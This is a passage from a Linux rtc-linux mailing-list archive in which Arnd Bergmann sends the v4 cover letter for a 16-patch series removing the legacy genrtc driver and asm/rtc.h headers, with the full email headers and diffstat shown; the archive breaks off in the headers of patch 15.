> On Tuesday 03 May 2016 09:24:18 Alexandre Belloni wrote:
> > Hi Arnd,
> > 
> > I see you didn't copy Greg on that series (that may explain his
> > confusion on the previous patch), do you expect me to take it
> > through the RTC tree? That is fine but I'd like some acks from him.
> 
> Yes, that was a mistake. I dropped Greg from one Cc list in v2 when
> I split up the RTC changes into the part that was for drivers/rtc
> and the other one for Greg's char-misc tree. Then I reused the first
> Cc list when I sent a combined series for v3 again. I'll fix that
> when I post v4. There are only very small changes in there that
> I still need to pick up, so hopefully that will be the last version.
> 
> It would be nice if you could take it through your tree then.
> 

We are now at 4.7-rc1. Can you send v4 soon so that I can apply that
series  and get it in linux-next?

There is a small rebase to do on patch v3.

Thanks!

-- 
Alexandre Belloni, Free Electrons
Embedded Linux, Kernel and Android engineering
http://free-electrons.com

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 00/16] genrtc removal
Date: Mon, 30 May 2016 20:57:48 +0200
Lines: 190
Approved: news@gmane.org
Message-ID: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634695 4520 80.91.229.3 (30 May 2016 18:58:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 18:58:15 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:06 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-lf0-f59.google.com ([209.85.215.59])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SO6-0002xM-Jy
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:06 +0200
Original-Received: by mail-lf0-f59.google.com with SMTP id v189sf38324240lfd.0
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id
         :x-original-sender:x-original-authentication-results:reply-to
         :precedence:mailing-list:list-id:x-spam-checked-in-group:list-post
         :list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=6QQ8XdzAec9hl3BrYS4FNLFirYwXQVhGIc1NeEkz+YM=;
        b=u+SC9LhOt8GUAhtBCdOMAFmw8inN7KsJeD6gVK0UEtK9AwQx+P4DH+fhGSzpa+2Epr
         N1pt5HWnsQk0B9PNfxIdmUifn7fgE18GAndy5Ynw1oyXDBenswMVk3cbetVLz5Pkllp7
         fBxWNWVn5a8w47dLvFzHERJV9TqN5cmBOi0h1fiviAYnB7/OSlb5zTZL+vqQtMH4UE/E
         q0koxiiZZ+JUknauf2YK37aHiUaw0ZXV1Y6YeiLsoxJ1dTwsx+jxKFeCoWTG9x7tAps8
         kTHc3oP6EvgnaIz9ciLpgv7tfpwQmzCrkFQXvo0R9VZH29ttE9xOlmKyVH/XeiPWy262
         aqcw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=6QQ8XdzAec9hl3BrYS4FNLFirYwXQVhGIc1NeEkz+YM=;
        b=ODzkc+5MUpYgWa4RT9aPIyYxM+Ci/k47bpqjkCQW9aTFnK29ykGJIZcQnZzP2armVb
         3MDmqiE150omOZX2mAS2GwkYTCmeyJoxCdH6CZAm1ZIcXL6NUQsjQlUN5D9dDWetNfua
         o5fwDBwuHJpx6S5Nroq4AM+LzFbrr0VcbERp+c2wBzrn93+KRYnkUTIpR3PDiZEQrVc0
         djojypUZO9IttW6f+uDC9PYNwFvYZeV8PBlpw80TdWSADZKYL14SEa8gEnA0mMZ/8KGh
         DRnmgpx4UhgqsLQXDb9wLqUK9FleZhgZ+sTMLotSiE0sUwE7DzBT6msx7kOtTDR+FvP/
         Znjg==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tLIh+jcA4UCqOumGcaOfqk1Rp1xKNU88t1ONsmVCCNxhbna3tqkLS1QYSFzd8ec2g==
X-Received: by 10.28.26.204 with SMTP id a195mr3094wma.17.1464634686158;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.28.189.3 with SMTP id n3ls869082wmf.54.gmail; Mon, 30 May 2016
 11:58:05 -0700 (PDT)
X-Received: by 10.28.35.9 with SMTP id j9mr1196034wmj.7.1464634685753;
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [217.72.192.75])
        by gmr-mx.google.com with ESMTPS id s140si1474545wme.1.2016.05.30.11.58.05
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Received-SPF: neutral (google.com: 217.72.192.75 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=217.72.192.75;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0MKZT5-1b7B8Y300V-001waf; Mon, 30 May
 2016 20:57:56 +0200
X-Mailer: git-send-email 2.7.0
X-Provags-ID: V03:K0:YjxGG06amwVjiyHo73nULwTBGn++hyP/6sN8qM5xgQQRK/HkiIe
 KmvPjyvyT7rYIm9NuMNGwf2Ew/be00hjR8hSA0tj/xSa0dk89tqzW2fiaJOxsaxFggNfxOY
 VetzX8rPlGG1lI+0RzAH3Em5nzciswdJyskEoUoWG7ObsQIWaO1/5BaYzGWA10husApITjB
 r9Tdm3eHNIK+fDl/Vcz7A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:aj7h+g3vqkc=:tnc39DbnSrvqvLBYdHC5LQ
 UAGXE0GkhSE/aNXiYMQx41CeCY0wqBie9iDPwGLs1A7abYTVC48f2GT5+wy3TIn44mCK+Tcul
 1g8AVE9Blu8SLx5lmnCuL9bdhuhE/9nWUC58WQ9UYRm9kb4R48dNR0aTa11GYvBJUIvOz/zTa
 QAJ5aeN6Hldzk0AK9Q/rIeCsrBOSuYCl4HxWVWrSRHLBWPUCeTwV+iJVs7zIV+5zb8iPr2Rvk
 IvGs9q8CYYYNIe7rdlnhGK7/E7dfUAohfVFg+tF8B6xlzuC+3L4XYhyzODsxj9oR1Fzo4foVl
 PSunaYDEWbtDZh0kc/UlGlaOw7SHI2wZdsM3gQVnaLI2sclGZOedkncmf3tyE3mNg85Se4xEz
 RPNH0tWCuDF0qXf8vER8GRikua7P0K2J375ZGf67FZYGKxulO0H0MiwIj1tbQx4Z/W8aKc6WX
 RRfIuKk0M3KcnfJZK5WHGc2EhsRh0zvqG0rvl43U7Hl2xH+5UFvDiQC35tsVYPj17q8f9WIja
 EYtcMqHU8+uI5Q5xBkmK/2QAVYbUh3GBp/8gu30Tf/5Vu24roFbiQv36KLGX64DhyeUd7UxPv
 6Ydn+y96Vb+2JdZh+Q9SeSb0dPTzI7lq6+9c43azMxFi0TXewFAUwNlXzJuzTLUqfqZKXfJMW
 yhhZwb8KXLylYKPzPvCJiYzfoGLLwnR+DTL5IwvezFlixzhHcYvjE4mhuRjvI4XoqdlE=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 217.72.192.75 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:29 gmane.linux.ports.alpha:3735 gmane.linux.kernel:2230333 gmane.linux.ports.parisc:26789 gmane.linux.ports.ppc64.devel:127837 gmane.linux.ports.sh.devel:54122 gmane.linux.kernel.cross-arch:32169
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/29>

This is the promised resend of the removal of the genrtc driver and some
related code, now that we are at a good time to merge this for the coming
merge window.

The contents are the same as before, except fixing the build regressions
reported by the 0day builder: on both x86 and mn10300 the rearranging
of the header files caused some missing headers that were included
implicitly before.

Things regarding rtc are a bit intertwined, so I'm mixing patches for
drivers/rtc with drivers/char and arch. This series should make that
better in the end.

This now thoroughly removes the genrtc driver including the asm/rtc.h
headers it uses. For all architectures that still have a meaningful
asm/rtc.h, this goes through two stages:

1) make the rtc-generic implementation independent of asm/rtc.h
2) remove the asm/rtc.h header and disallow the gen_rtc driver

As the last step, the driver itself gets removed. There are a
couple of follow-up cleanup tasks that we could do once this is
all merged, including removing all the remaining nonstandard
RTC drivers from drivers/char:
 
- alpha most likely doesn't ever use CONFIG_RTC, as it has its
  own replacement driver in arch/alpha/kernel/rtc.c, and the legacy
  driver is slightly broken on at least one alpha machine

- loongson64 is the only MIPS machine that has the option of running
  the legacy CONFIG_RTC driver, but it should also work with rtc-cmos,
  and support for that was added in 2010 with 5df74352876 ("MIPS:
  Loongson: Define rtc device on MC146818-equipped systems").

- with the above two gone, the only remaining user of CONFIG_RTC
  is arch/mn10300, and that just needs to register the appropriate
  platform device to use the RTC_CMOS driver instead. I'm sure the
  only reason that hasn't happened is because there is very little
  active development on this architecture.

- CONFIG_JS_RTC depends on SPARC32, but can not be selected there
  because SPARC unconditionally selects RTC_CLASS since 2008, so
  this is effectively dead code. Interestingly, this is not even
  a separate driver, but actually uses the same code as CONFIG_RTC
  with some #ifdef

- CONFIG_EFI_RTC is actively used on all six Itanium configurations,
  though the CONFIG_RTC_DRV_EFI replacement driver is also available
  there (and has been Itanium-only until ARM64 support for EFI was
  merged). I suspect it's just a matter of getting an Ack from the
  Itanium maintainers to remove it and change the defconfigs.

- the last remaining legacy RTC driver after those is CONFIG_DS1302,
  which has a slightly nonstandard ioctl interface and is only used
  on arch/m32r. I have experimented with this a bit and think it
  can be converted in a backward-compatible way as well.

- Regarding the users of RTC_DRV_GENERIC, it would be nice to convert
  them into hardware-specific drivers that look more like the other
  drivers. parisc is particularly easy, it just needs to call
  platform_create_bundle() instead of platform_device_register.
  The three other architectures have their own abstraction layer
  on top of rtc-generic and should kill that off. There are only
  a few drivers in each case: m68k has one (q40), sh has two
  (dreamcast and sh3) and powerpc has four (rtas, mpc8xx, chrp
  and pmac).

- Once all RTC support uses the RTC class subsystem, we should
  remove all implementations of read_persistent_clock{,64} that only
  access the RTC or return a hardwired time, and we should
  remove all update_persistent_clock{,64} users and
  CONFIG_GENERIC_CMOS_UPDATE, as both are replaced with
  generic rtc code.

	Arnd

Cc: geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org
Cc: gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org
Cc: deller-Mmb7MZpHnFY@public.gmane.org
Cc: benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org
Cc: mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org
Cc: dalias-8zAoT0mYgF4@public.gmane.org
Cc: dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org
Cc: linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org
Cc: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
Cc: linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org
Cc: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org

Arnd Bergmann (16):
  rtc: cmos: remove empty asm/mc146818rtc.h files
  rtc: cmos: move mc146818rtc code out of asm-generic/rtc.h
  char/genrtc: x86: remove remnants of asm/rtc.h
  rtc: sh: provide rtc_class_ops directly
  char/genrtc: remove alpha support
  char/genrtc: remove mn10300 support
  rtc: parisc: provide rtc_class_ops directly
  char/genrtc: remove parisc support
  rtc: m68k: provide rtc_class_ops directly
  rtc: m68k: provide ioctl for q40
  char/genrtc: remove m68k support
  rtc: powerpc: provide rtc_class_ops directly
  char/genrtc: remove powerpc support
  rtc: generic: remove get_rtc_time/set_rtc_time wrappers
  char/genrtc: remove asm-generic/rtc.h from mips
  char/genrtc: remove the rest of the driver

 arch/alpha/include/asm/rtc.h                 |   1 -
 arch/alpha/kernel/core_marvel.c              |   1 -
 arch/alpha/kernel/rtc.c                      |   6 +-
 arch/frv/include/asm/mc146818rtc.h           |  16 -
 arch/h8300/include/asm/mc146818rtc.h         |   9 -
 arch/ia64/include/asm/mc146818rtc.h          |  10 -
 arch/m68k/amiga/config.c                     |   1 -
 arch/m68k/apollo/config.c                    |   1 -
 arch/m68k/bvme6000/config.c                  |   1 -
 arch/m68k/hp300/config.c                     |   2 +-
 arch/m68k/include/asm/rtc.h                  |  79 ----
 arch/m68k/kernel/time.c                      |  48 ++-
 arch/m68k/mac/config.c                       |   3 +-
 arch/m68k/mac/misc.c                         |   1 -
 arch/m68k/mvme147/config.c                   |   1 -
 arch/m68k/mvme16x/config.c                   |   1 -
 arch/m68k/q40/config.c                       |   2 +-
 arch/m68k/sun3/config.c                      |   1 -
 arch/m68k/sun3/intersil.c                    |   2 +-
 arch/m68k/sun3x/time.c                       |   2 +-
 arch/mips/sni/time.c                         |   1 -
 arch/mn10300/include/asm/rtc.h               |   2 -
 arch/mn10300/kernel/rtc.c                    |   2 +-
 arch/mn10300/proc-mn103e010/proc-init.c      |   1 +
 arch/mn10300/proc-mn2ws0050/proc-init.c      |   1 +
 arch/parisc/include/asm/mc146818rtc.h        |   9 -
 arch/parisc/include/asm/rtc.h                | 131 -------
 arch/parisc/kernel/time.c                    |  36 +-
 arch/powerpc/include/asm/rtc.h               |  78 ----
 arch/powerpc/kernel/time.c                   |  29 +-
 arch/powerpc/platforms/Kconfig               |  11 +
 arch/powerpc/platforms/ps3/time.c            |   2 +-
 arch/sh/include/asm/mc146818rtc.h            |   7 -
 arch/sh/include/asm/rtc.h                    |  11 -
 arch/sh/kernel/time.c                        |  33 +-
 arch/x86/include/asm/mc146818rtc.h           |   1 -
 arch/x86/include/asm/rtc.h                   |   1 -
 arch/x86/kernel/hpet.c                       |   3 +-
 arch/x86/kernel/rtc.c                        |   3 +-
 arch/x86/platform/efi/efi.c                  |   1 -
 arch/x86/platform/efi/efi_64.c               |   1 +
 arch/x86/platform/intel-mid/intel_mid_vrtc.c |   1 +
 drivers/acpi/acpi_cmos_rtc.c                 |   2 +-
 drivers/base/power/trace.c                   |   6 +-
 drivers/char/Kconfig                         |  26 --
 drivers/char/Makefile                        |   1 -
 drivers/char/genrtc.c                        | 539 ---------------------------
 drivers/rtc/rtc-cmos.c                       |  12 +-
 drivers/rtc/rtc-generic.c                    |  36 +-
 drivers/rtc/rtc-mrst.c                       |   2 +-
 include/asm-generic/rtc.h                    | 247 ------------
 include/linux/mc146818rtc.h                  | 194 ++++++++++
 52 files changed, 362 insertions(+), 1256 deletions(-)
 delete mode 100644 arch/alpha/include/asm/rtc.h
 delete mode 100644 arch/frv/include/asm/mc146818rtc.h
 delete mode 100644 arch/h8300/include/asm/mc146818rtc.h
 delete mode 100644 arch/ia64/include/asm/mc146818rtc.h
 delete mode 100644 arch/m68k/include/asm/rtc.h
 delete mode 100644 arch/parisc/include/asm/mc146818rtc.h
 delete mode 100644 arch/parisc/include/asm/rtc.h
 delete mode 100644 arch/powerpc/include/asm/rtc.h
 delete mode 100644 arch/sh/include/asm/mc146818rtc.h
 delete mode 100644 arch/x86/include/asm/rtc.h
 delete mode 100644 drivers/char/genrtc.c
 delete mode 100644 include/asm-generic/rtc.h

-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 15/16] char/genrtc: remove asm-generic/rtc.h
 from mips
Date: Mon, 30 May 2016 20:58:03 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <1464634684-1248135-16-git-send-email-arnd@arndb.de>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634696 4531 80.91.229.3 (30 May 2016 18:58:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 18:58:16 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:08 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-wm0-f59.google.com ([74.125.82.59])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SO6-0002xN-Pb
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:06 +0200
Original-Received: by mail-wm0-f59.google.com with SMTP id a136sf12847957wme.1
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id:in-reply-to
         :references:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=dgKYsPfE/oxmZPCKevYMqb/lS4O21cq5b0Fg9KdIrUA=;
        b=AKtibnykHpVXwwcP3jNpqVHpn9vUQp3WATujv4FkvGTxM8vvRHrUW0kaJmJ191f3ms
         o/k1nj/SsL43UJcc6AFRt/10OGDWQoZLoBaKR2Hkbo61uEsLQJUreV5sIqJ+DrhPa7k/
         rX6ZvoIaVc3HUsuqnRK2zfRZ6puwBpWz+f9y85A1mx61ECxjgaN24AXu3110E6T/eJQ9
         zA9fuUHB+sSPbaQcmS0u2u26akjTojrBj2bhNRtTrhQ0aUTMyJSKqss4VPEqw1xrh6Kn
         4eTkrtd+u8f398utGFQkWBNaR45CJ1Qs9RHF8nywJ7mKtsmtJgw34iK/LSpzxH+H7MYL
         9rsw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:in-reply-to:references:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=dgKYsPfE/oxmZPCKevYMqb/lS4O21cq5b0Fg9KdIrUA=;
        b=WHN8K5+Is9y5cSWMlGX+sELqRnctCrohpGh93/hyHtECcxuRNVjMPpI1aBIfaD2lGf
         3aGJa9gs4JXKBGXEz/jxBGu6JHzrS/1tJ9rV9u2NT/oMJ1Ae+KK2O7bLa5pi+4nG6KMW
         FoMSoFjRQmM4Cz+PW4rCMx27wNT05FjQR8oz9zLxMzStokmlxMM71nOguK+FnmxwJlTh
         ftmLPRZ2c1RZnlRiCpSQBfXQtDhifkeBMP1iPFe+W4kDmvXpneoehP66301JVVke5H1a
         fBwBIaCt/n/pj9Cu+1PdgQlag1oQ7uE698/ZnE4uv2z0rUI+8HGSw2owNUeEJ1vu46/2
         GOXg==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tKWspLTfgI/Vpv6flOScK16EhsbNz6o9Pv4ScYwrxDSGriYzt+Nx+8w/mNvkOyybw==
X-Received: by 10.25.145.73 with SMTP id t70mr231273lfd.17.1464634686376;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.25.44.194 with SMTP id s185ls89375lfs.25.gmail; Mon, 30 May
 2016 11:58:05 -0700 (PDT)
X-Received: by 10.25.196.132 with SMTP id u126mr2951061lff.0.1464634685971;
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [217.72.192.75])
        by gmr-mx.google.com with ESMTPS id j140si259448wmf.1.2016.05.30.11.58.05
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Received-SPF: neutral (google.com: 217.72.192.75 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=217.72.192.75;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0M5gVc-1bRCDs2M6S-00xcDu; Mon, 30 May
 2016 20:58:04 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
X-Provags-ID: V03:K0:tZPrzye22a0S7LpPLbMGapXh3lIOMVMem2DHCSioOVepvSwClvA
 sWtswfy28ppF4b4LmNUXnYxBU0SCMszv9d/Z2Y8hQQ1jRKSfwLv56vw19hw4NCV3s5qX7b9
 wrHTb8t1mb4fxg5BZ4CyjbLp+LdaiCwzAyZmdNuzJ09njpPJ7AZ6YBu26cSpS5Fuq98My3j
 4e6rcfJifN2dMJEVkGYqA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:wBi0/f+PLZI=:kKR7Elz9aVIHPP9JDo3RZa
 8G29JGafD+akq84fx6Hk5zyNv2q1diAB6emMwoFJ/Vp31Nh6X7iggdyCMuUjBVJrBa5jin2ba
 M10Wgepnmw16KlkTwe4nJV8EvYCn33Lw/jsM1seTH+I+Lhd/HNJmGvzTg5xPXdknm9yPjp8ry
 VjgYuF2bHTr8Jk/t+usZaZk7iYdEQpYQnOm1k8t8muldM3a7hV4jiO+VyKuQ/vNwds7miiC7O
 nVnghs8hjhWChESoV7CwqVujQnmowXZ8uMzkN9VdgHIoQr60wXuIXUZtjsk/yXkdtlQ9RxVk+
 q8N1TSU3ohpSMUL0wPaI2PjpVbRBYfHtzjal34T5RpxhyCU+6L8SUylb25/T5cNYQxDEsSCIx
 rxPRyVbUtAiyIZdxBRlUaKjwdO+IA1SJYlJQYl5ni277cJhtW8Pd/Kz6iAFtEt5WgGYbm4yq/
 1WpCCMFvS8YoeQyRdzXrVIdSRJnv92Ck1I2N7T2oU3sJImFCmUTfUD6qvWfwatGkYedaCQ/v7
